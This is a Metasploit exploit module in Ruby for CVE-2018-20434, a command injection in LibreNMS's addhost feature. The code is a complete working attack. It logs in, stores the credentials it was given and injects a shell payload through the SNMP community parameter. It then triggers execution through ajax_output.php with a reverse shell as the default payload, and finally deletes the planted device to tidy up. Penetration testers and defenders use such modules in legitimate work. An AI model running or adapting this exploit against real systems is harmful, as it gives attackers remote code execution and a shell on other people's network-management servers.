LibreNMS - addhost Command Injection (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'LibreNMS addhost Command Injection',
      'Description'    => %q(
         This module exploits a command injection vulnerability in the open source
         network management software known as LibreNMS. The community parameter used
         in a POST request to the addhost functionality is unsanitized. This parameter
         is later used as part of a shell command that gets passed to the popen function
         in capture.inc.php, which can result in execution of arbitrary code.

         This module requires authentication to LibreNMS first.
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
      [
        'mhaskar',       # Vulnerability discovery and PoC
        'Shelby Pace'    # Metasploit module
      ],
      'References'     =>
        [
          [ 'CVE', '2018-20434' ],
          [ 'URL', 'https://shells.systems/librenms-v1-46-remote-code-execution-cve-2018-20434/' ],
          [ 'URL', 'https://gist.github.com/mhaskar/516df57aafd8c6e3a1d70765075d372d' ]
        ],
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          [ 'Linux',
            {
              'Platform' => 'unix',
              'DefaultOptions'  =>  { 'Payload' =>  'cmd/unix/reverse' }
            }
          ]
        ],
      'DisclosureDate' => '2018-12-16',
      'DefaultTarget'  => 0
    ))

    register_options(
    [
      OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]),
      OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]),
      OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ])
    ])
  end

  def login
    login_uri = normalize_uri(target_uri.path, 'login')
    res = send_request_cgi('method' =>  'GET', 'uri'  =>  login_uri)
    fail_with(Failure::NotFound, 'Failed to access the login page') unless res && res.code == 200

    cookies = res.get_cookies

    login_res = send_request_cgi(
      'method'    =>  'POST',
      'uri'       =>  login_uri,
      'cookie'    =>  cookies,
      'vars_post' =>
      {
        'username'  =>  datastore['USERNAME'],
        'password'  =>  datastore['PASSWORD']
      }
    )

    fail_with(Failure::NoAccess, 'Failed to submit credentials to login page') unless login_res && login_res.code == 302

    cookies = login_res.get_cookies
    res = send_request_cgi('method' =>  'GET', 'uri'  =>  normalize_uri(target_uri.path), 'cookie' =>  cookies)
    fail_with(Failure::NoAccess, 'Failed to log into LibreNMS') unless res && res.code == 200 && res.body.include?('Devices')

    print_status('Successfully logged into LibreNMS. Storing credentials...')
    store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
    login_res.get_cookies
  end

  def add_device(cookies)
    add_uri = normalize_uri(target_uri.path, 'addhost')
    @hostname = Rex::Text.rand_text_alpha(6...12)
    comm_payload = "'; #{payload.encoded}#'"

    res = send_request_cgi(
      'method'    =>  'POST',
      'uri'       =>  add_uri,
      'cookie'    =>  cookies,
      'vars_post'  =>
      {
        'snmp'            =>  'on',
        'force_add'       =>  'on',
        'snmpver'         =>  'v2c',
        'hostname'        =>  @hostname,
        'community'       =>  comm_payload,
        'authalgo'        =>  'MD5',
        'cryptoalgo'      =>  'AES',
        'transport'       =>  'udp',
        'port_assoc_mode' =>  'ifIndex'
      }
    )

    fail_with(Failure::NotFound, 'Failed to add device') unless res && res.body.include?('Device added')
    print_good("Successfully added device with hostname #{@hostname}")

    host_id = res.get_html_document.search('div[@class="alert alert-success"]/a[@href]').text
    fail_with(Failure::NotFound, "Couldn't retrieve the id for the device") if host_id.empty?
    host_id = host_id.match(/(\d+)/).nil? ? nil : host_id.match(/(\d+)/)

    fail_with(Failure::NotFound, 'Failed to retrieve a valid device id') if host_id.nil?

    host_id
  end

  def del_device(id, cookies)
    del_uri = normalize_uri(target_uri.path, 'delhost')
    res = send_request_cgi(
      'method'    =>  'POST',
      'uri'       =>  del_uri,
      'cookie'    =>  cookies,
      'vars_post' =>
      {
        'id'      =>  id,
        'confirm' =>  1
      }
    )

    print_status('Unsure if device was deleted. No response received') unless res

    if res.body.include?("Removed device #{@hostname.downcase}")
      print_good("Successfully deleted device with hostname #{@hostname} and id ##{id}")
    else
      print_status('Failed to delete device. Manual deletion may be needed')
    end
  end

  def exploit
    exp_uri = normalize_uri(target_uri.path, 'ajax_output.php')
    cookies = login

    host_id = add_device(cookies)
    send_request_cgi(
      'method'    =>  'GET',
      'uri'       =>  exp_uri,
      'cookie'    =>  cookies,
      'vars_get'  =>
      {
        'id'        =>  'capture',
        'format'    =>  'text',
        'type'      =>  'snmpwalk',
        'hostname'  =>  @hostname
      }
    )

    del_device(host_id, cookies)
  end
end